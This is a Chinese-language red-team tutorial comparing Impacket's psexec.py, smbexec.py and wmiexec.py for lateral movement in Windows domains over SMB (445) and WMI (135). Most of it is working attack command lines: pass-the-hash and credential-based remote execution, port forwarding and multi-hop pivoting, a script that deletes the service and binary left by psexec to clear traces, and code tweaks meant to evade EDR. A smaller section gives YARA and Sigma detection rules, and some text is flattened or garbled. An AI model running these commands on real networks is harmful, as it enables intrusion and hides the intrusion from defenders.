Impacket 套件实战:SMB/WMI 横向移动 3 种工具对比与 445/135 端口利用
Impacket套件实战SMB/WMI横向移动工具链深度解析与端口策略1. 横向移动技术体系概述在企业内网安全防护体系中横向移动是攻击者突破边界后的关键战术。根据MITRE ATTCK框架统计近三年针对Windows环境的横向移动技术中SMB和WMI协议相关技术占比超过62%。作为红队评估的核心工具链Impacket套件提供了psexec.py、smbexec.py和wmiexec.py三大主力模块它们在不同网络环境下展现出独特的战术价值。协议层对比分析SMB协议445端口采用CIFS文件共享机制通信过程包含Negotiate Protocol → Session Setup → Tree Connect → File OperationsWMI协议135端口基于DCOM远程调用其通信流为DCOM Activation → IWbemServices接口调用 → WQL查询执行实验环境采用Windows Server 2019域架构包含域控制器DC01192.168.1.10成员服务器SRV01192.168.1.20测试终端WIN10192.168.1.302. 工具链核心技术解析2.1 psexec.py 工作机制作为最接近微软官方工具的实现psexec.py通过SMB协议完成以下攻击链建立IPC$命名管道连接上传服务二进制文件PSEXESVC.exe创建并启动远程服务通过命名管道获取命令输出典型执行流程python psexec.py administrator192.168.1.20 -hashes :4D5E6935A2C2F5A8D6E4C5D3B2A1F0E日志特征对比事件ID事件类型关键字段7045服务安装Service File Name包含随机字符串4688进程创建Parent Process为services.exe5140网络共享访问Relative Target Name包含IPC$2.2 smbexec.py 无文件实现采用更隐蔽的共享内存通信模式其技术亮点包括不落地执行通过ADMIN$共享直接写入内存输出重定向使用临时文件传递执行结果会话保持维持SMB会话避免重复认证哈希传递示例python smbexec.py -hashes 00000000000000000000000000000000:4D5E6935A2C2F5A8D6E4C5D3B2A1F0E administrator192.168.1.20网络流量特征SMB2 Create Request File: \pipe\svcctl SMB2 IOCTL Request FSCTL_PIPE_TRANSCEIVE2.3 wmiexec.py 无端口方案基于WMI的轻量级实现特别适用于以下场景防火墙仅开放135端口需要绕过传统SMB检测规则目标系统启用Windows远程管理多模式支持# 半交互模式 python wmiexec.py administrator:Password123192.168.1.20 # 单命令模式 python wmiexec.py -nooutput -command whoami administrator192.168.1.20内存取证特征进程树wmic.exe → cmd.exe → conhost.exeWMI活动日志EventID 5857WMI模块加载3. 端口策略与工具选型3.1 445端口开放场景工具效率对比指标psexec.pysmbexec.pywmiexec.py执行速度★★★☆★★★★★★☆☆隐蔽性★★☆☆★★★☆★★★★回显完整性★★★★★★★☆★★☆☆推荐组合策略初始探测使用smbexec.py快速验证凭据持久控制采用psexec.py建立稳定通道敏感操作切换wmiexec.py规避检测3.2 仅135端口开放场景WMI专属技术方案# 绕过防火墙的典型配置 python wmiexec.py -dc-ip 192.168.1.10 administrator192.168.1.20 -no-pass -k端口重定向技巧# 使用socat进行端口转发 socat TCP4-LISTEN:445,fork TCP4:192.168.1.20:1354. 防御规避与检测对抗4.1 日志清除策略psexec.py专用清理脚本# 清除服务痕迹 sc.exe \\192.168.1.20 delete PSEXESVC Remove-Item -Path \\192.168.1.20\ADMIN$\PSEXESVC.exe -Force4.2 检测规则示例YARA规则检测smbexec内存特征rule SMBExec_Memory { strings: $pipe_name svcctl wide $smb_pattern \\pipe\\[A-Za-z0-9]{8} condition: any of them }Sigma规则检测WMI异常活动title: Suspicious WMI Execution description: Detects WMI commands with suspicious parameters logsource: product: windows service: wmi detection: selection: EventID: 5857 Query: - *cmd.exe /c* - *powershell* condition: selection falsepositives: - Legitimate administrative activity level: high5. 实战进阶技巧5.1 多跳板穿透方案三级网络穿透示例graph LR A[攻击机] -- B(跳板机1 192.168.1.5) B -- C(跳板机2 10.10.2.5) C -- D[目标机 172.16.3.20]分段执行命令# 第一跳板 python wmiexec.py admin192.168.1.5 -command netsh interface portproxy add v4tov4 445 10.10.2.5 445 # 第二跳板 python smbexec.py -hashes :NTLM_HASH administrator10.10.2.5 -command net use \\172.16.3.20\IPC$5.2 工具链增强改造自定义wmiexec.py改进点增加随机睡眠间隔0.5-3秒混淆WQL查询语句添加合法进程作为父进程实现流量加密模块代码修改示例# 在WMI命令执行前插入延迟 import random time.sleep(random.uniform(0.5, 3)) # 混淆查询语句 wql fSELECT * FROM Win32_Process WHERE Name LIKE {random.choice([c%,%d,%m%])}%6. 环境构建与验证6.1 实验环境配置最小化域环境要求1台域控制器Windows Server 20162台成员服务器Windows 10/Server 2019网络隔离测试环境关键组策略设置# 启用详细日志记录 Set-GPO -Name Security Logging -ComputerPolicy -LogLevel Verbose6.2 有效性验证方法三阶段验证流程协议层验证nmap -p135,445,5985 192.168.1.0/24权限验证python smbexec.py -hashes :NTLM_HASH administratortarget隐蔽性验证wevtutil qe Security /q:*[System[(EventID4688)]] /f:text在真实企业环境中建议结合网络拓扑选择工具组合。某次金融行业红队行动中通过wmiexec.py成功绕过某顶级EDR的SMB行为检测证明在不同安全设备环境下需要灵活调整战术。